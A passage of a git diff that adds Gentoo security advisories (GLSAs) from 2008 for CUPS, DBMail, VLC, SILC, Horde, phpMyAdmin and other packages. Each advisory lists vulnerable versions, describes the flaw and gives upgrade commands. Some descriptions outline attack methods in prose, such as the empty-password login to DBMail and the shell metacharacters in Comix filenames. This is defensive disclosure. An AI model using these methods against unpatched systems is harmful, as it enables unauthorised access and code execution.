+  <bug>217232</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="net-print/cups" auto="yes" arch="*">
+      <unaffected range="ge">1.2.12-r8</unaffected>
+      <vulnerable range="lt">1.2.12-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CUPS provides a portable printing layer for UNIX-based operating
+    systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Thomas Pollet reported a possible integer overflow vulnerability in the
+    PNG image handling in the file filter/image-png.c.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A malicious user might be able to execute arbitrary code with the
+    privileges of the user running CUPS (usually lp), or cause a Denial of
+    Service by sending a specially crafted PNG image to the print server.
+    The vulnerability is exploitable via the network if CUPS is sharing
+    printers remotely.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CUPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-print/cups-1.2.12-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1722">CVE-2008-1722</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 17 Apr 2008 10:26:38 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 17 Apr 2008 10:26:47 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Apr 2008 11:05:44 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-24.xml b/xml/htdocs/security/en/glsa/glsa-200804-24.xml
new file mode 100644
index 00000000..4f779e5f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-24.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-24">
+  <title>DBmail: Data disclosure</title>
+  <synopsis>
+    A vulnerability in DBMail could allow for passwordless login to any account
+    under certain configurations.
+  </synopsis>
+  <product type="ebuild">dbmail</product>
+  <announced>April 18, 2008</announced>
+  <revised>April 18, 2008: 01</revised>
+  <bug>218154</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/dbmail" auto="yes" arch="*">
+      <unaffected range="ge">2.2.9</unaffected>
+      <vulnerable range="lt">2.2.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DBMail is a mail storage and retrieval daemon that uses SQL databases
+    as its data store. IMAP and POP3 can be used to retrieve mails from the
+    database.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability in DBMail's authldap module when used in conjunction
+    with an Active Directory server has been reported by vugluskr. When
+    passing a zero length password to the module, it tries to bind
+    anonymously to the LDAP server. If the LDAP server allows anonymous
+    binds, this bind succeeds and results in a successful authentication to
+    DBMail.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By passing an empty password string to the server, an attacker could be
+    able to log in to any account.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DBMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/dbmail-2.2.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6714">CVE-2007-6714</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Apr 2008 08:54:02 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Apr 2008 09:20:04 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Apr 2008 14:01:09 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-25.xml b/xml/htdocs/security/en/glsa/glsa-200804-25.xml
new file mode 100644
index 00000000..092e29c3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-25.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-25">
+  <title>VLC: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities were found in VLC, allowing for the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>April 23, 2008</announced>
+  <revised>April 23, 2008: 01</revised>
+  <bug>214277</bug>
+  <bug>214627</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6f</unaffected>
+      <vulnerable range="lt">0.8.6f</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC is a cross-platform media player and streaming server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in VLC:
+    </p>
+    <ul>
+    <li>
+    Luigi Auriemma discovered that the stack-based buffer overflow when
+    reading subtitles, which has been reported as CVE-2007-6681 in GLSA
+    200803-13, was not properly fixed (CVE-2008-1881).
+    </li>
+    <li>
+    Alin Rad Pop of Secunia reported an array indexing vulnerability in the
+    sdpplin_parse() function when processing streams from RTSP servers in
+    Xine code, which is also used in VLC (CVE-2008-0073).
+    </li>
+    <li>
+    Drew Yao and Nico Golde reported an integer overflow in the
+    MP4_ReadBox_rdrf() function in the file libmp4.c leading to a
+    heap-based buffer overflow when reading MP4 files (CVE-2008-1489).
+    </li>
+    <li>Drew Yao also reported integer overflows in the MP4 demuxer,
+    the Real demuxer and in the Cinepak codec, which might lead to buffer
+    overflows (CVE-2008-1768).</li>
+    <li>Drew Yao finally discovered and a
+    boundary error in Cinepak, which might lead to memory corruption
+    (CVE-2008-1769).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted media
+    file or stream, possibly resulting in the remote execution of arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.8.6f&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6681">CVE-2007-6681</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0073">CVE-2008-0073</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1489">CVE-2008-1489</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1768">CVE-2008-1768</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1769">CVE-2008-1769</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1881">CVE-2008-1881</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200803-13.xml">GLSA 200803-13</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 24 Mar 2008 19:42:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Apr 2008 00:49:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Apr 2008 00:56:14 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-26.xml b/xml/htdocs/security/en/glsa/glsa-200804-26.xml
new file mode 100644
index 00000000..74251072
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-26.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-26">
+  <title>Openfire: Denial of Service</title>
+  <synopsis>
+    A design error in Openfire might lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">openfire</product>
+  <announced>April 23, 2008</announced>
+  <revised>April 23, 2008: 01</revised>
+  <bug>217234</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/openfire" auto="yes" arch="*">
+      <unaffected range="ge">3.5.0</unaffected>
+      <vulnerable range="lt">3.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Openfire (formerly Wildfire) is a Java implementation of a complete
+    Jabber server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Openfire's connection manager in the file ConnectionManagerImpl.java
+    cannot handle clients that fail to read messages, and has no limit on
+    their session's send buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote authenticated attackers could trigger large outgoing queues
+    without reading messages, causing a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Openfire users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/openfire-3.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1728">CVE-2008-1728</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 17 Apr 2008 20:09:13 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 18 Apr 2008 01:33:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 18 Apr 2008 01:33:32 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-27.xml b/xml/htdocs/security/en/glsa/glsa-200804-27.xml
new file mode 100644
index 00000000..18e4736f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-27.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-27">
+  <title>SILC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in SILC Client, Server, and Toolkit,
+    allowing for Denial of Service and execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">silc-toolkit silc-client silc-server</product>
+  <announced>April 24, 2008</announced>
+  <revised>April 24, 2008: 01</revised>
+  <bug>212362</bug>
+  <bug>214116</bug>
+  <bug>214812</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/silc-toolkit" auto="yes" arch="*">
+      <unaffected range="ge">1.1.7</unaffected>
+      <vulnerable range="lt">1.1.7</vulnerable>
+    </package>
+    <package name="net-im/silc-client" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4</unaffected>
+      <vulnerable range="lt">1.1.4</vulnerable>
+    </package>
+    <package name="net-im/silc-server" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SILC (Secure Internet Live Conferencing protocol) Toolkit is a software
+    development kit for use in clients, SILC Server is a communication
+    server, and SILC Client is an IRSSI-based text client.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>Nathan G. Grennan reported a boundary error in SILC Toolkit
+    within the silc_fingerprint() function in the file
+    lib/silcutil/silcutil.c when passing overly long data, resulting in a
+    stack-based buffer overflow (CVE-2008-1227).</li>
+    <li>A vulnerability
+    has been reported in SILC Server which is caused due to an error in the
+    handling of "NEW_CLIENT" packets that do not contain a nickname
+    (CVE-2008-1429).</li>
+    <li>Ariel Waissbein, Pedro Varangot, Martin
+    Mizrahi, Oren Isacson, Carlos Garcia, and Ivan Arce of Core Security
+    Technologies reported that SILC Client, Server, and Toolkit contain a
+    vulnerability in the silc_pkcs1_decode() function in the silccrypt
+    library (silcpkcs1.c), resulting in an integer underflow, signedness
+    error, and a buffer overflow (CVE-2008-1552).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause a Denial
+    of Service or execute arbitrary code with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SILC Toolkit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/silc-toolkit-1.1.7&quot;</code>
+    <p>
+    All SILC Client users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/silc-client-1.1.4&quot;</code>
+    <p>
+    All SILC Server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/silc-server-1.1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1227">CVE-2008-1227</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1429">CVE-2008-1429</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1552">CVE-2008-1552</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Mar 2008 02:19:53 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 14:49:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 23 Apr 2008 16:41:55 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-28.xml b/xml/htdocs/security/en/glsa/glsa-200804-28.xml
new file mode 100644
index 00000000..3a206dd3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-28.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-28">
+  <title>JRockit: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified in BEA JRockit.
+  </synopsis>
+  <product type="ebuild">jrockit-jdk-bin</product>
+  <announced>April 24, 2008</announced>
+  <revised>April 24, 2008: 01</revised>
+  <bug>218226</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/jrockit-jdk-bin" auto="yes" arch="*">
+      <unaffected range="rge">1.4.2.16</unaffected>
+      <unaffected range="ge">1.5.0.14</unaffected>
+      <vulnerable range="lt">1.5.0.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    JRockit is BEA WebLogic's J2SE Development Kit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Because of sharing the same codebase, JRockit is affected by the
+    vulnerabilities mentioned in GLSA 200804-20.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to run a specially crafted applet
+    on a website or start an application in Java Web Start to execute
+    arbitrary code outside of the Java sandbox and of the Java security
+    restrictions with the privileges of the user running Java. The attacker
+    could also obtain sensitive information, create, modify, rename and
+    read local files, execute local applications, establish connections in
+    the local network, bypass the same origin policy, and cause a Denial of
+    Service via multiple vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All JRockit 1.4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/jrockit-jdk-bin-1.4.2.16&quot;</code>
+    <p>
+    All JRockit 1.5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/jrockit-jdk-bin-1.5.0.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200804-20.xml">GLSA 200804-20</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 23 Apr 2008 16:40:01 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 23 Apr 2008 17:27:24 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 23 Apr 2008 17:27:42 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-29.xml b/xml/htdocs/security/en/glsa/glsa-200804-29.xml
new file mode 100644
index 00000000..626ef294
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-29.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-29">
+  <title>Comix: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Comix may lead to execution of arbitrary
+    commands and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">comix</product>
+  <announced>April 25, 2008</announced>
+  <revised>April 25, 2008: 01</revised>
+  <bug>215694</bug>
+  <access>local, remote</access>
+  <affected>
+    <package name="media-gfx/comix" auto="yes" arch="*">
+      <unaffected range="ge">3.6.4-r1</unaffected>
+      <vulnerable range="lt">3.6.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Comix is a GTK comic book viewer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Comix does not properly sanitize filenames containing shell
+    metacharacters when they are passed to the rar, unrar, or jpegtran
+    programs (CVE-2008-1568). Comix also creates directories with
+    predictable names (CVE-2008-1796).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit the first vulnerability by enticing a
+    user to use Comix to open a file with a specially crafted filename,
+    resulting in the execution of arbitrary commands. The second
+    vulnerability could be exploited by a local attacker to cause a Denial
+    of Service by creating a file or directory with the same filename as
+    the predictable filename used by Comix.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Comix users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/comix-3.6.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1568">CVE-2008-1568</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1796">CVE-2008-1796</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 10 Apr 2008 14:29:23 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 10 Apr 2008 22:35:39 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 Apr 2008 23:01:03 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200804-30.xml b/xml/htdocs/security/en/glsa/glsa-200804-30.xml
new file mode 100644
index 00000000..9c616729
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200804-30.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200804-30">
+  <title>KDE start_kdeinit: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in start_kdeinit could possibly allow a local
+    attacker to execute arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">kdelibs</product>
+  <announced>April 29, 2008</announced>
+  <revised>April 08, 2009: 02</revised>
+  <bug>218933</bug>
+  <access>local</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="rge">3.5.8-r4</unaffected>
+      <unaffected range="rge">3.5.9-r3</unaffected>
+      <unaffected range="gt">4.0</unaffected>
+      <unaffected range="lt">3.5.5</unaffected>
+      <unaffected range="rge">3.5.10-r2</unaffected>
+      <vulnerable range="lt">4.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like operating systems. start_kdeinit is a wrapper for kdeinit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Vulnerabilities have been reported in the processing of user-controlled
+    data by start_kdeinit, which is setuid root by default.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could possibly execute arbitrary code with root
+    privileges, cause a Denial of Service or send Unix signals to other
+    processes, when start_kdeinit is setuid root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdelibs-3.5.8-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1671">CVE-2008-1671</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 24 Apr 2008 09:52:59 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Apr 2008 13:20:59 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-01.xml b/xml/htdocs/security/en/glsa/glsa-200805-01.xml
new file mode 100644
index 00000000..48a6ddc6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-01.xml
@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-01">
+  <title>Horde Application Framework: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the Horde Application Framework may lead to the
+    execution of arbitrary files, information disclosure, and allow a remote
+    attacker to bypass security restrictions.
+  </synopsis>
+  <product type="ebuild">horde</product>
+  <announced>May 05, 2008</announced>
+  <revised>May 05, 2008: 01</revised>
+  <bug>212635</bug>
+  <bug>213493</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">3.1.7</unaffected>
+      <vulnerable range="lt">3.1.7</vulnerable>
+    </package>
+    <package name="www-apps/horde-groupware" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+    <package name="www-apps/horde-kronolith" auto="yes" arch="*">
+      <unaffected range="ge">2.1.7</unaffected>
+      <vulnerable range="lt">2.1.7</vulnerable>
+    </package>
+    <package name="www-apps/horde-mnemo" auto="yes" arch="*">
+      <unaffected range="ge">2.1.2</unaffected>
+      <vulnerable range="lt">2.1.2</vulnerable>
+    </package>
+    <package name="www-apps/horde-nag" auto="yes" arch="*">
+      <unaffected range="ge">2.1.4</unaffected>
+      <vulnerable range="lt">2.1.4</vulnerable>
+    </package>
+    <package name="www-apps/horde-webmail" auto="yes" arch="*">
+      <unaffected range="ge">1.0.6</unaffected>
+      <vulnerable range="lt">1.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Horde Application Framework is a general-purpose web application
+    framework written in PHP, providing classes for handling preferences,
+    compression, browser detection, connection tracking, MIME and more.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in the Horde Application
+    Framework:
+    </p>
+    <ul>
+    <li>David Collins, Patrick Pelanne and the
+    HostGator.com LLC support team discovered that the theme preference
+    page does not sanitize POST variables for several options, allowing the
+    insertion of NULL bytes and ".." sequences (CVE-2008-1284).</li>
+    <li>An
+    error exists in the Horde API allowing users to bypass security
+    restrictions.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    The first vulnerability can be exploited by a remote attacker to read
+    arbitrary files and by remote authenticated attackers to execute
+    arbitrary files. The second vulnerability can be exploited by
+    authenticated remote attackers to perform restricted operations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde Application Framework users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-3.1.7&quot;</code>
+    <p>
+    All horde-groupware users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-groupware-1.0.5&quot;</code>
+    <p>
+    All horde-kronolith users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-kronolith-2.1.7&quot;</code>
+    <p>
+    All horde-mnemo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-mnemo-2.1.2&quot;</code>
+    <p>
+    All horde-nag users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-nag-2.1.4&quot;</code>
+    <p>
+    All horde-webmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-webmail-1.0.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1284">CVE-2008-1284</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Mar 2008 20:23:06 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 14:49:55 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 26 Apr 2008 11:40:54 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-02.xml b/xml/htdocs/security/en/glsa/glsa-200805-02.xml
new file mode 100644
index 00000000..9f21a487
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-02.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-02">
+  <title>phpMyAdmin: Information disclosure</title>
+  <synopsis>
+    A vulnerability in phpMyAdmin may lead to information disclosure.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>May 05, 2008</announced>
+  <revised>May 05, 2008: 01</revised>
+  <bug>219005</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.11.5.2</unaffected>
+      <vulnerable range="lt">2.11.5.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL databases from a web-browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cezary Tomczak reported that an undefined UploadDir variable exposes an
+    information disclosure vulnerability when running on shared hosts.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker with CREATE TABLE permissions can exploit this
+    vulnerability via a specially crafted HTTP POST request in order to
+    read arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.11.5.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1924">CVE-2008-1924</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 29 Apr 2008 13:00:15 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Apr 2008 13:00:26 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Apr 2008 18:38:43 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-03.xml b/xml/htdocs/security/en/glsa/glsa-200805-03.xml
new file mode 100644
index 00000000..f165288b
--- /dev/null
